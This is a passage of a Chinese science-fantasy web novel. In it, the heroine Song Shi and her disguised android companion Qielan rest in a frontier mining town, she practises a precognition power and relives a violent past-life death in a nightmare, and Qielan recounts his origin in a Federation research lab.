走出房门,外面下着湿热的雾雨,燥热、黏腻的水汽将单薄的衬衫浸湿。 终端响了。 “上校,Z逃走了。” 霍尔仰头看着灰败的天空,“嗯”了一声。 久藤市天空飘下绵绵雨,泥土与新芽的气息,在氤氲的水雾中交织。 踏在湿软的泥土上,宁静的树林里只回荡着鸟叫虫鸣,宋拾确认,哀涅托的人没有追上来。 长舒一口气,提起的心终于落回肚子里。 “主人,要不要休息一下。” 黑漆的眸子倒映着这片树林的苍翠,伽蓝放开头顶的帽兜,一头长发披散开来,一路延伸至脚踝—— 这是他坚持留下的。 义肢店里,在宋拾的要求下,伽蓝从一个俊美无俦的圣子,变成……那男的。 蓝发被廉价的染发剂染得漆黑,黑色美瞳也取代原本纯粹天蓝的眼眸。 但这并不是宋拾想要的。 黑色,让原本神圣不可侵的圣子,多了层危险而又神秘的魅力。 目光触及那高挺的鼻梁,深邃的眼窝,就连眉毛都是优美的。 她果断让老板再找出一张假面。 薄如蝉翼的一张皮,一接触皮肤,瞬间贴合五官的形状,塑造出一张平平无奇的脸。 而如此玄妙的易容道具,竟然只需要五百星币。 老板说,这是花小钱办大事,虽然她并没有支付任何星币。 思绪回笼,她蹙起眉,看向苍翠的深处,杂乱的脚步声和孩童的……呼救声? 不远处,一个粉嫩的小圆点在逐渐靠近,后面跟着一个疾驰的白色身影,一个宋拾并不陌生的白影。 “默默!镇长爷爷!救命!” 安妮很后悔,非常后悔,早知如此,就该听默默的话,紧跟着大部队。 可、可现在,她就要死了。 双腿像灌注铅了般沉重,喉咙冒出股血锈味,安妮急促而艰难呼吸着。 怎么办啊?再也见不到默默了…… “呜呜呜。”泪珠似断了线的珠子簌簌落下,落进她张开的口中,咸咸的,还有些苦涩。 跑着跑着,脚下一绊,重心不稳向前倒去,手掌擦着草地,磨过碎石,划开一道道伤口,粉裙子更是被泥土弄得脏破。 近在咫尺的沉重呼吸声,安妮心凉了半截。 “嘭嘭——”子弹击穿肉.体的声音,鸟兽散去。 身后的家伙轰然倒地,安妮闻到刺鼻的硝烟气,抬头,一张生有茧子的手掌落在眼前: “你还好吗?” 女孩吸了吸酸涩的鼻子,视线被薄泪模糊,她揉了揉眼睛,将手搭上去,借力站起身。 女人唇间噙着柔和而亲切的笑意,身形单薄消瘦,但与她相握的、透着温暖那张手,又让安妮足够安心。 “谢谢您!您真是大好人!”女孩碧绿的眼珠亮着。 宋拾松开手,将弹空的枪塞回腰间,上前查看已经死亡的异种: 浑身漆白的人形兔,通体无毛,四肢修长,长着尖锐的獠牙。 她第一次碰见的异种,就是这个品种,曾经还特意查过,叫鲁德兔,由第一个发现它的人名字命名。 “安妮!安妮!!”呼喊声从远处传来,嘈杂的脚步逼近。 “主人,我们该走了。” 安妮这才注意到还有个人。 这声音该让安妮怎么形容呢,她从未听过如此动听优雅的嗓音,像暮鼓晨钟,敲散雾雨下的不安。 她期待地看去,看清后,垮下嘴。 反差巨大得犹如鸿沟,与声音相比,本人长得……不!安妮,你怎么能对别人的外貌品头论足呢? 默默要是知道了,一定会斥责她。 “安妮!”又是一声急切的呼唤,安妮才反应过来,是默默的声音! 绿眼女孩激动地大喊:“默默!镇长爷爷!我在这里!” “走吧。”宋拾与伽蓝对视一眼,正要抽身离去,女孩揪住了她的袖角。 “姐姐,你杀死了大兔子,我们必须感谢你!能来我们小镇做客吗?” 镇长爷爷说,如果别人帮助了你,就该拿出诚意来报答对方。 人声和脚步声逐渐逼近,翠绿深处隐约能看见绰绰约约的人影。 宋拾抽出袖角,摇头拒绝:“抱歉,我们还有事。” 话落间,一声清晰的咕噜声响起,她尴尬地撇开目光。 安妮却燃起了希望,她再接再厉,正中下怀:“今天是贝蒂婶婶掌勺,有又香又大烤羊腿还有热可可,姐姐哥哥,你们真不来吗?” “这……”宋拾可耻地心动了。 伽蓝像是读懂了她的心思,无比体贴道:“主人,我也有些累了,不如休息一下吧。” 仿生人当然不会累,但这也恰好展示了他足够的体贴。 “好!”确实该好好休息一下了。 不多时,镇民们举着火把、拿着猎枪走了过来,人群唰地窜出个男孩,一把将安妮护在身后,像个狼崽似地凶狠盯着“不速之客”。 安妮高兴地抱住男孩,“默默!” 男孩不满地轻轻敲了下她的额头,漂亮的眉毛蹙在一起:“不是告诉你不要乱跑吗?” 黝黑健硕的青年上前查看了一眼鲁德兔,向年长者汇报:“它死了。” 年长者虽已花甲白发,浑浊的灰眼却闪烁着智者的光辉,白白的大胡子抖了抖,“两位是……” 安妮雀跃道:“镇长爷爷,就是这个姐姐杀死了大兔子!她救了我!” 伽蓝微笑上前,“我们是四处游历的行者,没有任何恶意。” “哦不!我的意思是,老天!真是太感谢你们了,这只兔子困扰了我们许久了!” 镇长激动地就要握住伽蓝的手,伽蓝不动声色地往后退回宋拾身旁,徒留镇长伸出的手在空气中尴尬。 镇长又转向宋拾,笑容和蔼:“这位一定要来我镇做客!我们一定会热情款待——” “好!”宋拾答应得果断又干脆,生怕对方反悔。 她等的就是这句话。 夕阳悬在天边,将云朵染成橙黄色,映着树,一片暖色。 小镇旁,是一池碧绿明亮的湖水,岸边杨柳抚皱波光粼粼的水面,微波荡漾,泛起涟漪。春光湖面,一阵柔风从湖面吹来,吹散人们的一切忧愁,只剩舒坦与惬意。 沿着湖面,再往前走,大片片房舍出现在地平线。 房屋错落有致,井然有序,道路宽敞干净,路边栽种着不知名鲜花,满街花香让人不由地放松肩膀。 他们一到,蘑菇样式的房屋里探出一个个脑袋,脸颊红如花瓣的少女们挥手欢迎。 “大家辛苦啦!” 这一路上,镇长事无巨细地向他们介绍了小镇。这里是久藤市众多不起眼城镇中的一个,叫挪亚,民风淳朴,安贫乐道。 老实说,宋拾很难将民风淳朴这四个字和久藤联系起来,但当地人一个赛一个热心、健谈,并再三邀请两人常住。 他们靠着附近的矿山为生,挖矿再运到黑市上出售,这才得以拥有丰衣足食的生活,而安妮说,这全亏了镇长爷爷的领导。 一提起镇长,不止是安妮,其他镇民也都赞不绝口,一个好的领导者,当然值得他的拥护者爱戴,除了一个男孩。 人如其名,他大多数时间都是沉默着,用一双漂亮的眼睛恶狠狠地盯着他们。 “林默,她们是好人,救了安妮的好人。”镇长叹了口气,无奈地看向宋拾伽蓝,“他没有恶意,只是还没见过除了我们以外的人。” “没关系。”宋拾还不至于跟一个小朋友斤斤计较。 安妮拉着林默的手臂,眨着她那双翠绿的眼眸,“默默,小拾姐姐可厉害啦!她一枪打死了大兔子!”女孩兴奋地比划着。 是的,宋拾化名小拾,至于伽蓝,她的弟弟,小柒。对此,伽蓝并无异议,还黏糊地贴上去,一口一个“姐姐”,叫上了瘾。 宋拾恶寒,一拳头挥过去,青年笑着,没有避开。 镇民们感慨,这对姐弟关系真好。 林默不屑撇开脸,“我要是有枪,也能杀死那只兔子。” “得了吧。”安妮“咯咯”笑,无情拆穿他,“阿博特哥哥也有猎枪,但一次也没有打死大兔子,你难道比阿博特哥哥还要厉害吗?” “嘿,小安妮!”突然被指名的青年红着脸喊了一声,他黝黑的皮肤逐渐变成深红,为自己辩解,“那是我一直没找到合适的机会!” 健硕的青年偷偷窥向正主,发现女人也正看着他,笑盈盈的,犹如东方水墨里走出的女神。 瞬间他像煮熟的虾,耳朵红,身体红,哪哪都红。 安妮扮了个鬼脸,“才不是!阿博特哥哥就是不如小拾姐姐!” “喂!” 一片嬉闹中,太阳的余晖完全消失在湖面,夜幕降临,小镇灯火明亮。 一口大锅架在大院里,羊肉和野菜在锅中沸腾,喷香的热气徐徐升起,将夜晚的天空染得朦胧,像是田园油画。 孩子们围着旧秋千架嬉笑打闹,屋檐上的几只小猫眯着眼打盹,那是镇长养的猫。 安妮说,院里的孩子都是无父无母的孤儿,是镇长爷爷收养了他们,提供温暖的住所和香喷喷的食物。 如果犯了错,只需要撒个娇,心软的镇长就会放过他们。 但镇长身体大不如前,一到雨天,膝盖便疼痛难忍,即便如此,每日照旧同镇民们一起山上挖矿。孩子们便不敢太过顽皮,但今天不一样。 今天来了两位客人,镇长爷爷很高兴,他们才撒开欢打闹起来。 年轻男人赤.裸上身,托着舞伴伸展的腰肢,随着音乐的鼓点、随着升起的烟雾舞动,青春、美好、充斥着生命的活力。 阿博特停下舞步,端起桌上的酒杯,对着宋拾,红着脸腼腆笑。 “敬你救了安妮。” 宋拾将装着三十三号的背包放在身侧,她端起酒杯,点头,面不改色一口喝下。 酒香醇厚,并不辛辣。 自从来到这个世界,她都没有喝过酒了。 手突然被一抹温润攥紧,那双漆黑的眼眸眨了眨。 “姐姐,我也敬你。”伽蓝学着她的模样一口饮下,却被呛到,咳嗽起来,白皙的脸颊爬上红。 宋拾:…… 怎么有人不会喝酒还硬装。 “敬我们尊贵的客人!”镇长热情笑着,高举酒杯。 人们纷纷举起酒杯,笑容质朴而真诚:“敬尊贵的客人!” 舒服的风拂过耳畔的发丝,宋拾站起身,看了眼身旁的伽蓝,男人蹙着眉,玉质的耳朵攀上红,端详手中的酒杯。 “你能喝酒吗?” 伽蓝仰头,脸颊红扑扑的,眼神迷离。 昏黄的灯光下,那个人就这么看着他。 沉寂的心脏、电流窜动,顶撞他这具机械躯体。 “好像不太行,姐姐能帮我喝吗?”男人黑眸弯了弯。 第37章 镇长给两人安排好了房间, 两间房挨得很近。 宋拾搀着某个不能喝还非要喝的醉鬼回房间。 他像是醉了,明明只喝一口,却醉得跌跌撞撞, 到了门口却不进去, 整个人都贴在她身上,“主人,我想去看星星。” 宋拾望着乌漆嘛黑的天空,“要不我打你一拳,这样就能看到星星了。” 这才喝多少啊,就喝成这样。 “主人, 难受。”他的声音好像很委屈。 与白日的冷静温和不同,伽蓝此刻的情绪,像是无意打翻的墨水瓶,尽数泼了出来。带着孩子气、执拗的、显露的情绪。 仿生人喝醉后,是这样吗?宋拾不由神游。 薄薄的酒气铺面撒下来,双手被青年轻轻攥住。 “主人,你在想什么?”他耳朵尖泛着红,嘴唇被酒沾得水润。 “哪里难受?”宋拾抽出手,搭在他额头,有些烫。 可别喝坏了,喝坏了芯片怎么办? 伽蓝懵懂地甩了甩头, 拿起她的手覆上自己胸口:“这里。” 柔软的胸膛,鼓动的机械心脏。 宋拾不是修理师,摸不出个所以然,唯一能摸出来的,就是这薄薄的布料下那不容忽视的肌肉。 “我的芯片好像……出现故障了……”他困惑地看着她,缓慢眨眼, “芯片的电流似乎又紊乱了,在胸腔横冲直撞。” 芯片没修好? 宋拾皱眉沉吟片刻,“明天一早,我带你去修芯片。但现在不行……太晚了。” 话落就抽出自己的手,打开他的房门,将人推了进去。 随后疲倦地打个哈欠,扭身拐进自己房间,手腕却又被抓住。 宋拾太阳穴突突直跳,“你又怎么了?” 漆黑的上空,云雾散开,月光倾泻,落在青年长发上。 “主人,我还有个问题。” 长睫盖过眼底情绪,伽蓝轻声:“主人刚刚,是在担心我……还是担心芯片?” “啊?”这算什么问题? 当然是担心芯片啊。 他们才认识多久,就在不久前他们还是敌人。现在能和平在这里说话,也是因为她一枪嘣坏了他的芯片。 但这些,显然不能说。 伽蓝安静地看着她,等待回复。 庭院蛙声蝉鸣,晚风一吹,树叶沙沙作响。 “睡吧。”宋拾落下一句晚安,走进隔壁房间,不管他的反应,阖上了门。 房间不大,但胜在干净整洁,被褥柔软,闻起来像是白天刚晾晒过。 她将背包放在桌上,拉开拉链,活肉像是陷入深度睡眠,在罐子里一动也不动。 哀涅托一下子把圣子和三十三号都弄丢了,背后的家伙要疯了吧。 她弯起嘴角。 疲惫了一整天,宋拾本以为自己一沾被子就会睡过去,结果越躺越清醒,索性掏出终端。 昏暗房间内,终端光线打在宋拾脸上,眼睛一眨不眨地盯着屏幕,缓缓地敲着屏幕,将全部信息填入任务栏的表格内。 还有触发的任务,圣水的功效是…… 长生。 最后一个字节敲完,屏幕上弹出提示: “恭喜用户今天捡垃圾了吗,完成触发任务,五万星币已到账,可到账户进行查收。” “精神值拓宽药水则会在次日发放。” “任务进度45%,现已解锁精神术法【预知】,请到账户查看。” 次日发放?怎么发放? 宋拾没纠结太久,返回到账户信息页面。 用户:今天捡垃圾了吗 账户余额:十五万星币 精神术法: 【骨肉再生】【复制】【隐身】【预知】 未解锁:【读取】 不经意间,账户上竟已有了十五万星币。 她抱着终端,真情实意地笑出声。 等完成论坛人物,五百万到账,她要找个好地方安居,安安稳稳、舒舒服服过完这辈子。 目光移动,屏幕下端有个智者对话的按钮,论坛系统说过,只有一次对话机会。或许哪天就需要了呢 打开私信栏,99+的红色未读信息几乎要夺屏而出,都是付秋棠的,裴木清则了无音讯。 铁皮猫:终端你是不是忘记还我了? 铁皮猫:好无聊好无聊,贝莉娅什么时候把她妹妹接出来啊?我知道她是好人,可整天待在小黑屋真的好无聊啊! 铁皮猫:虽然但是,这里还挺舒服的,能听见哗啦啦的水流声。 今天捡垃圾了吗:水流声? 铁皮猫:你终于上线了!是的,水流声!来的时候贝莉娅把我眼睛蒙上了,所以我也没看到周边的景貌,我猜附近应该有条河什么的。 铁皮猫:快说!我的终端是不是在你那! “……”宋拾目移,退出聊天页面。 点开E663,她发现裴木清的用户名旁边多了行红色小字。 “该用户已死亡。” 念出这几个字后,宋拾大脑空白,呆愣了许久。 怎么就……突然死了呢? 在医院的时候还把车钥匙借给了她,那个嬉笑的、活生生的人,突然之间就死了。 甚至……还没等到裴羽流回去。 她嘴唇嗫嚅了几下,最终化为叹息。 翻看完聊天框,她勉强接受裴木清的死讯。突然,脑海中闪过什么。 难道是……陶顺安。 杀死白峥,取代了顾念。 除了她,宋拾想不到还有谁会杀裴木清。 可是,推理这些又有什么用呢? 她既不是满腔热血的英雌,也不是救世主,只是一个小人物。 小人物的生命逝去从来没有任何征兆,那么地突然又悄无声息。 她以后也会如此吗? 不,不会。 她一定要活着,还要好好地活着,她绝不要成为别人的垫脚石或者踏板。 调整好心态,宋拾回到个人用户中,点开刚解冻的课程【预知】。 必须要抓紧,她的时间……不多了。 不管是联邦回溯,还是哀涅托,她都得罪了个遍,已经没有回头路了。 要想活下去,只有让自己变得更强。 她深呼吸,专心致志看着屏幕。 老师扶了下眼镜,开始介绍: “预知,顾名思义,可以提前窥探到未来发生的事情。” “但预知到的内容多半模糊不清,甚至不准确,只有通过不断地练习才能使预知内容更加准确清晰。到达一定程度,甚至能预知到具体时间,具体位置。” 她语气舒缓,课程节奏正正好,宋拾听得格外入神,回过神时已经半夜三点了。 预知,如果练到高阶,是不是可以无障碍预知到对手接下来的攻击? 而且只要足够准确,就能规避掉全部的错误。 越想,越是口干舌燥起来。 她志在必得。 关上课程,躺在床上闭目,一点点释放精神力,浅淡的蓝光似雾气般从她肌肤上溢散。 很可惜,眼前并未出现任何画面。 宋拾并未气馁,再接再厉,不知过了多久,她像条搁浅的鱼,大口喘息,汗水浸湿鬓角。 还是没有画面。 再试最后一次。她舌头抵上上颚,整理呼吸,小心翼翼地释放精神力。 再次睁眼时,眼前是一片漆黑。 静悄悄的,空荡荡的,仿佛没有边界。 而她,站立在这寂静的黑暗中。 成、成功了? 宋拾心中抑制不住地雀跃。 迈开腿缓缓朝前摸索走去。 黑暗,黑暗,只有无边无际的黑暗,不管怎么走,都像走不到头。 但她并没有感到挫败,坚定地朝前走—— “宋拾……” 气若游丝的声音陡然响起。 宋拾瞬间抖擞,祈祷着再清楚点再清楚点。 巨大刺眼的白光从罅隙里爆发而出,画面似被蒙上了层厚厚的细纱,越仔细去看越模糊不清。 层层叠叠的光影,虚幻朦胧。 “宋拾……” 到底是什么?宋拾咬牙,竭力地想要看清楚。 是什么? 她望向朦胧。 雾气散去,画面清晰。 “我恨你!” 贝莉娅倒在血泊之中,绝望的目光发出悲鸣,红眸倒映着一个人的脸。 她的脸。 世界轰然倒塌,支离破碎,化作点点蓝色的碎片散去。 宋拾蓦地睁眼,坐起身,汗水顺着下颌落在握紧的拳头上。 她怎么可能会杀贝莉娅。 狠狠地喘了几口后,稳住心神。老师说过,刚开始预知到的内容不准确很正常。 不过,这也算是成功了吧? 月光顺着窗帘缝隙流淌进室内,泛着冷意的光驻留在地板上。 她手指插进发缝,随意挠了挠,打开终端,凌晨三点半。 打了几下哈欠,眼皮疲惫地耷拉下去。 困意翻涌,意识缓缓沉寂。 梦魇悄然跟随而上。 她在做梦? 宋拾眨着眼,眸子里清晰地倒影着血一样的红。 漫天的火光越烧越烈,高楼大厦轰然倒塌,巨大的碎石落在她身侧。 一个脸上掉着腐肉的丧尸机械似地走动,轮廓依稀有些眼熟,好像是那个总爱和她抢虫饼的队友。 丧尸看见她,拦在前面,歪着脑袋笑,又一块碎肉从它脸上脱落。 “为什么不理我?宋拾,我是小燕啊。” 宋拾视若无睹,平静地走过去。 身后,丧尸愤怒大喊:“为什么不敢认我?!都是你把我害成了这样!” 她顿住脚步,回头望去,目光冷漠:“不是我害的你,是你自己害了自己,你不信任我。” “你骗人!”小燕愤怒尖叫,但她再也没回头。 光怪陆离的世界弥漫着死气,断壁残垣中,一个女人被绑在木架上,几个男人狞笑着,将刀嵌进她的皮肤。 宋拾瞳孔骤然一缩。 那是她,上一世的她。 下一秒,一股强大的吸力将她拉进那具残破的躯体。 宋拾猛地睁眼,本能地张嘴大口喘着粗气。 她像是处以火刑的耶稣,被绑在十字架上,模糊的视线逐渐清晰,是几个她死也不会忘记的家伙。 每一次呼吸肺部带来被火灼烧的强烈刺痛,她毫不在意,拼命汲取氧气,如同被捕捞上岸的鱼,扑腾着,在死亡来临前做最后的挣扎。 “最后一个,编号2837。” 那人嘴角噙笑,把玩着手中的军刀。 不…… 她想喊,想拼命地喊,却只呼出一口气。 银色的刀影下,红色肉色蝴蝶般在空中翻飞。 疼。宋拾额头青筋暴起,干裂的嘴角渗出鲜血,胸口大起大伏地动着。 “嘭嘭嘭!” 数发子弹精准打在她膝盖上。 “死了?” 有个人走过来,一脚踹倒十字架,把鞋放在她脸上摩擦了几下。 “废物就是废物,这么快就死了。”说罢,又咳口浓痰吐她脸上。 宋拾手指狠狠嵌进土壤。 她曾拼命苟活,抛弃道德尊严,抛弃□□灵魂,逃过了变异,甚至逃过了病毒,比一条狗还卑微的匍匐活着,却逃不过别人的一时兴起。 子弹和刀哪个更疼? “啧,怎么还活着?” 她猛然睁大眼,恶狠狠的目光,恨不得生啖其肉。突然,又诡异笑出声,被口里的血沫呛住,咳嗽几下,“你们真该死!” 下秒,冰冷的枪口抵在她的脑门。 “嘭——” 窗外,细碎的阳光洒进来,跳跃到宋拾苍白的脸上,她微微眯起眼睛,看了眼终端。 六点整。 天亮了。 胸口却仍蔓延着未消弭的恨意。 她攥紧衣角,深深吐出口气。 草草洗漱完,她看向镜中的自己,精神焕发,完全不像是做了噩梦。 背上背包,打开房门,一阵柔和的风扑面而来。 扑面而来的还有笑声。 院里,孩童们嬉笑打闹着,荡秋千,捉迷藏,还有……编花环。 青年坐在石凳上,认真地听着安妮讲的原理,学着对方编花环。 突然,像是察觉到目光,他抬起头,冲她露出一抹笑:“姐姐,早安。” “……早安。”是的,他们现在的身份是姐弟。 安妮蹦蹦跳跳来到宋拾身边,很是熟稔热切拉起她的手,往伽蓝那边拉: “姐姐你快看!小柒哥哥编的可好看啦!” “小柒?”宋拾没忍住,笑出声。 伽蓝站起身,露出手中的花环。 娇嫩的花瓣上,还滚动着露珠,花环编得精致漂亮,足以见制作它的人的细心。 “早安礼物。” 他小心翼翼地戴在她的头顶。 第38章 “喜欢吗?”他的目光温柔,眸子清晰倒映着她的轮廓。 宋拾鸡皮疙瘩顿起。 孩子们纷纷围聚过来,就连林默也被安妮强硬拉了过来。 “姐姐好看!”一双双清澈的眼睛看着她,透亮得像是她小时候珍藏的玻璃珠。 “……是、是吗?”宋拾不太自在地摘下花环,拿在手里,轻轻摆弄着。 粉色紫色的花朵簇拥在一起,美好而又纯净。 第一次收到礼物,没想到是仿生人送的。 风撩起青年那如黑色的绸缎的长发,他不安地垂下眼睫,似是等待最终下达的判决。 宋拾不知道该露出什么表情和情绪才对,只是干巴巴地说道, “谢谢你,很好看。” 伽蓝的眼睛瞬间亮了, 如夜空缀满的星星。 安妮双手叉腰,一副骄傲的模样:“是我教小柒哥哥编的花环!” “哇!安妮好厉害!”孩子们“哇”声此起彼伏。 一个小男孩不服气,揪住安妮的马尾,扮鬼脸状:“你也就会编花环,除了这个,你还会什么?” 头皮一紧,安妮吃痛地叫出声,眼眶蓄满泪水。 什么熊孩子。 宋拾蹙眉, 却见林默上前揪住他的衣领, 背肩摔过去,男孩人仰马翻倒地。 林默抿唇,出言嘲讽,“她是只会编花环,那你又会什么?” “就是就是,你会什么呀。”安妮把眼泪憋回去, “别以为你有爸爸就能欺负我,你要是没了爸爸,我看你还敢不敢嚣张!” 男孩嚎了几声,从地上爬起,涨红了脸,“你们!” “略!” “孩子们,我回来了!”迎着日出,一个背着大包小包的人气喘吁吁走进大院,重重的行李卸下,扬起一阵尘土。 “爸爸!他们欺负我。”男孩飞奔扑过去,委屈地将整个脑袋埋在父亲怀里。 “欺负你?是不是你又欺负安妮了?爸爸不是说了么,喜欢一个女孩要温——” 男孩羞恼地打断父亲,“爸爸,我才不喜欢她!” “这是我们采集物资的陈叔叔,每次回来都会带好多好多东西。”安妮不忘向宋拾她们介绍。 陈才俊开始大包小包分发东西,“吉姆的玩具车。” “小伊的发圈。” “安妮的新裙子。” 听到自己的名字,女孩雀跃而起,蝴蝶一样跑过去。新裙子是一件嫩绿色碎花裙,如她本人一样充满生机活力。 温柔的风拂面而来,被抛弃的秋千微微荡漾,孩子们叽叽喳喳展示自己的礼物。 宋拾发现,挪亚和挪亚的人,与她曾经所见过的都不同。这里像是世外桃花源,无忧无虑,时间都放缓了脚步,唯一的困扰大概是不时出没的异种吧。 她不自觉弯起唇角。 一个个分发下去,陈才俊站直起身体,“林默,你的珠子!” 那个沉默、漂亮的男孩从角落里走出来。 陈才俊又困扰地挠了挠头,“咱们这里有叫宋拾的人吗?有人托我把这个给她。” “什么?”宋拾惊愕,“呃……我是。” “哦,是客人吗?这是你的东西。”他掏出小木盒,递给她,“一个奇怪的人让我交给你,浑身裹得密不透风,他说人就在我们镇上,我还不信呢。” 他絮絮叨叨讲镇上的每个人他都认识,为了证明,开始倒背人名。 “谢谢。”宋拾接下,打开木匣,铺满柔软的羽毛,一瓶晶莹剔透的液体躺在里面。 精神值拓宽药水?没想到是以这种形式发放。 伽蓝走进,靠了过来,“主……姐姐,是什么?” “没什么。”她迅速合上盒子,转向他,“对了,你芯片不是坏了吗,我们现在走吧。” 伽蓝眸子暗淡下来,却仍扬起嘴角:“……好。” 这时,枪声骤响,树枝上的鸟儿扑扇翅膀,惊吓飞起,镇长苍老的声音远远传来:“兔子群来了!大家快躲起来!” “快进屋!孩子们,快进屋!兔子群来了!” 陈才俊急忙背起大包小包,立刻催促他们回屋。 孩子们红润的脸颊瞬间褪去了颜色,惊鸟般唰地散去,躲进自己的房间,嘭地一声关上门,窗帘拉上。 原本热闹的庭院顷刻安静,变得空荡荡。 宋拾可不认为那些岌岌可危的木门能抵御住暴乱的鲁德兔,更何况是一群。她下意识进入御敌姿态,摸上腰间枪的手又放了下。 差点忘了,子弹用完了。 不行就用精神术,反正马上就要走,她也不怕暴露自己精神师的身份。 “主人,您可以交给我。”饱满悦耳的声音随风送到耳畔。 “你……?”宋拾惊愕抬头,对上伽蓝的眼睛。 他右手置于左肩,优雅弯腰,像再忠诚不过的信徒。 鬼使神差地点了下头,“好啊。” 余光里突然出现一个身影。 除了他俩,庭院内还站着一个男孩。 他精致的眉眼低垂,攥紧手上的珠子,从兜里掏出一把弹弓。嘴里讥讽着:“你们不是姐弟吗?他却喊你主人,这又是你们大人的什么新情趣吗?” 他黑葡萄似的漂亮眼珠却闪烁着赤裸裸的厌恶,说出的话半点不像他这个年龄段。 宋拾挑眉,满不在乎,只是问:“你不进去吗?” “不进。”林默眨着长睫毛,以一种毋容置疑的口吻:“懦夫才会逃避,我不怕它们。” 他没再说话,肌肉绷紧,如临大敌地盯着门口。忽然,一个阴影遮住光,女人弯下腰,将花环戴在他的头顶,她乌黑的眸子像一汪墨: “懦夫会逃避,但莽夫也注定成不了勇士。” 男孩愣住,随即反应过来,羞恼地涨红脸:“你!” 女人却已经退开,只留下一句淡淡的:“帮我保管好。” 她刚刚说什么,说他是莽夫? !林默气得嘴唇绷紧,凶狠地瞪过去,甚至忘了把花环扯下。 终于,又是几声枪响,脚步逼近。 镇长,阿博特和其他几位镇民拐进院子,紧随而来的是几只人形大白兔。 阿博特手拿猎枪,看见院里还有人,喘着粗气喊:“来不及了,你们怎么还没进屋啊!林默,准备放陷阱。” “好。”男孩跑到树后,拽起一根隐蔽的粗麻绳。 “放!” 林默松手,树叶缝隙间刺出银晃晃的箭,鲁德兔呲牙大吼,猛地挥起长臂,长箭落了下去。 落下的一瞬,几只暴乱的兔子弹射冲向人群。 “天罚。”一声淡淡的嗓音,男人向前踱了一步,脸上浮动着金色咒文,黑发随风飘起。 他伸出手。 几道金光从他掌心迸发,浩瀚的威力凝成光团,须臾间,庭院内鲁德兔一个不剩,连一点粉末都没留下。 庭院内,安静得针落可闻,只是隐约响起微不可闻的吸气。 即便是第二次见了,但宋拾还是不由地目瞪口呆。 就、就……就这么消灭了? 她当初是怎么开枪击中这么一个大杀器的心脏的 伽蓝垂下手,身上浮动的金色符文还没来得及褪下去。 等下,金色的符文……宋拾猛然意识到,眼前这个人也是精神师,并且符文是金色的,可他不是仿生人吗哪里出了问题 “结界。” 男人的音落,金色的光膜包裹住两人,与外界的一切隔绝,既看不见也听不见。 宋拾暗道一声不好,他既然会使用术法,就说明记忆回来了,那又恢复了多少 她警惕地盯着他,默默释放精神术准备着。 只要他有什么危险动作的前兆,她动作会比他快。 伽蓝垂着长睫,看不清情绪,一步步朝她走来。 就在她要释放术法时,青年却突然单膝跪地,像古西方的骑士,优雅挺拔,眼神一如既往的专注温柔:“一切如您所愿。” 宋拾没有出声。 “我恢复了一些记忆。" 恢复了?那又恢复了多少? 她还没来得及问出口,就听见伽蓝继续道:“我的过去是空白,记忆始点的画面,是宋拾。” 他炙热痴迷的目光落在她身上。 “当时,您拿着枪对准他,目光冰冷得令我的芯片发烫,电流紊乱。程序设定告诉我看见的第一个人就是主人不可违背。” “所以……你想说什么?”宋拾居高临下注视他。 伽蓝笑了,双手交叠覆盖上心脏的位置: “伽蓝想告诉主人,伽蓝永远忠于宋拾,永远仰慕您,不是因为程序,而是因为我的心——如果有的话。您无需对我设防,您可以尝试相信我。” 宋拾信吗? 宋拾不信。 她还没有蠢到这个地步,去相信一个仿生人的甜言蜜语。 那么……他的目的是什么?宋拾想不到,她身上没有任何值得他骗的东西。 “我知道,主人只想要得到我的记忆,它们比我更值得让你上心。”他仰头,假面像被溶解,露出他原本圣洁的面容。 眼珠变蓝,长发一寸寸褪色,也恢复成了冰蓝。 “只要是主人想知道的,我都会告诉您。” 原本面无表情的宋拾表情开始松动,扬起眉毛,“好,那你告诉我,你的记忆恢复到哪了?” 伽蓝似是陷入某种回忆,眉毛逐渐蹙起,“有些记得,但大部分记不太清楚。” 她沉吟片刻。问:“天使三十三号是什么东西?” “抱歉,主人,我没有相关记忆。”伽蓝坦然道。 “哀涅托想做什么?” “抱歉。” 宋拾深吸一口气,“那你究竟记得什么?” “记得您和我的第一次相遇,我差点杀了您。” 闻言,宋拾皱眉,仔仔细细,上上下下打量他,但对方依旧是一副坦然的模样,纯净的蓝眸毫无杂质,不像是故意挑衅。 她环顾四周,金光笼罩的结界很是好看。 “你是精神师,为什么?为什么仿生人也能成为精神师,你的光为什么是金色的?” 她目光灼灼地注视他,但并没抱太大希望。 “主人是打算开始了解我吗?”他眼睛弯了弯,笑容干净纯粹,“这些我记得。” 第39章 “我诞生于联邦的地下研究所。” 他纯净的蓝眸困惑地看着宋拾, “主人看起来好像很惊讶,我以为您知道联邦和哀涅托是半合作关系。” 之前根据顾念的提醒,她当然猜到联邦和哀涅托关系不简单, 但宋拾万万没有想到, 哀涅托圣子居然是从联邦里出来的。 “继续。” 他眼眸一弯,眼底荡漾开细碎的光,“与其他仿生人不同,诞生伊始,我便拥有自我意识。” “获得自我意识的仿生人,是人类科技的结晶,也是科技意外的产物。”伽蓝伸出节骨分明的手指,轻轻拉起宋拾的手,将其覆盖在自己的左眼上。 “我在程序之外。” 卷曲的睫毛微微颤动,挠得她的掌心一阵痒意。 “所以整个童年,我都是在研究所的手术台上度过的。”他眉头越蹙越紧,像是陷入恐怖梦魇。 “好痛, 每天都插满管子, 躺在冰冷的手术台上,那些实验人员告诉我,忍忍就过去了。” “可是, 主人, 真的好痛啊。” 宋拾沉默下去,心中竟升起一丝恻隐,很快,就被压了下去。 她拿开手,问道:“他们做的什么实验?” “创造精神师的实验。”他说得很慢,咬字却格外清晰, “精神力本是少部分人的天赋,但人类妄图成为上帝,改造基因,你们不满足,总是不满足,渴望这份不属于自己的力量。” “要想实验,就需要实验体,觉醒的仿生人自然成了首选。何况,仿生人的生命,本就不值得一提,即便因实验大量消耗,也不会牵扯到社会问题。” 他语调始终平静,没有怨恨,甚至没有一丝丝埋怨,只是单纯陈述事实。 “你刚才说……你们不满足?我以为,在你眼里我是不同的。”宋拾半开玩笑道,更多的是试探。 伽蓝温柔笑起来,“当然,也包括您,您也属于人类的范畴,不是吗?” 很巧妙的答复。 宋拾对这种话术不感兴趣,问道:“实验是怎么进行的?” “抱歉主人,实验进行时,我都处于昏迷状态。” “那符文颜色是怎么回事?” “很遗憾,我也不知道。” 她又问了几个问题,无一例外都没再获得答案,正如伽蓝一开始说的,他大部分记忆没有恢复。 “主人现在可以信任我了吗?”伽蓝小心翼翼地问。 “为什么想要我信任你?” “信任是人类最珍贵的东西之一,我想得到您的信任,并且占据它。” “……”宋拾目移,那你这辈子是得不到了。 视线中金灿灿的屏障,不时闪过复杂的符文。 真迷人啊。 